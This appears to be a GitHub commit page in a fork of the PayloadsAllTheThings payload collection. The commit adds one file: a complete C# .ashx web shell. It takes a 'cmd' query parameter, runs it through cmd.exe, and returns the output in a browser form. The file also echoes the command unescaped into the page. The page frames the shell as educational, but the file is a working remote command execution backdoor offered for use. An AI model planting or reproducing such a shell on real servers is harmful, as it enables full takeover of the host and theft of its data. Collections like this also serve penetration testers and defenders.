forked from swisskyrepo/PayloadsAllTheThings
-
Notifications
You must be signed in to change notification settings - Fork 0
Commit
This commit does not belong to any branch on this repository, and may belong to a fork outside of the repository.
Merge pull request swisskyrepo#349 from SecGus/master
Add .ashx shell
- Loading branch information
Showing
1 changed file
with
42 additions
and
0 deletions.
There are no files selected for viewing
This file contains bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
Original file line number | Diff line number | Diff line change |
---|---|---|
@@ -0,0 +1,42 @@ | ||
<% @ webhandler language="C#" class="AverageHandler" %> | ||
|
||
using System; | ||
using System.Web; | ||
using System.Diagnostics; | ||
using System.IO; | ||
|
||
public class AverageHandler : IHttpHandler | ||
{ | ||
/* .Net requires this to be implemented */ | ||
public bool IsReusable | ||
{ | ||
get { return true; } | ||
} | ||
|
||
/* main executing code */ | ||
public void ProcessRequest(HttpContext ctx) | ||
{ | ||
Uri url = new Uri(HttpContext.Current.Request.Url.Scheme + "://" + HttpContext.Current.Request.Url.Authority + HttpContext.Current.Request.RawUrl); | ||
string command = HttpUtility.ParseQueryString(url.Query).Get("cmd"); | ||
|
||
ctx.Response.Write("<form method='GET'>Command: <input name='cmd' value='"+command+"'><input type='submit' value='Run'></form>"); | ||
ctx.Response.Write("<hr>"); | ||
ctx.Response.Write("<pre>"); | ||
|
||
/* command execution and output retrieval */ | ||
ProcessStartInfo psi = new ProcessStartInfo(); | ||
psi.FileName = "cmd.exe"; | ||
psi.Arguments = "/c "+command; | ||
psi.RedirectStandardOutput = true; | ||
psi.UseShellExecute = false; | ||
Process p = Process.Start(psi); | ||
StreamReader stmrdr = p.StandardOutput; | ||
string s = stmrdr.ReadToEnd(); | ||
stmrdr.Close(); | ||
|
||
ctx.Response.Write(System.Web.HttpUtility.HtmlEncode(s)); | ||
ctx.Response.Write("</pre>"); | ||
ctx.Response.Write("<hr>"); | ||
ctx.Response.Write("By <a href='http://www.twitter.com/Hypn'>@Hypn</a>, for educational purposes only."); | ||
} | ||
} |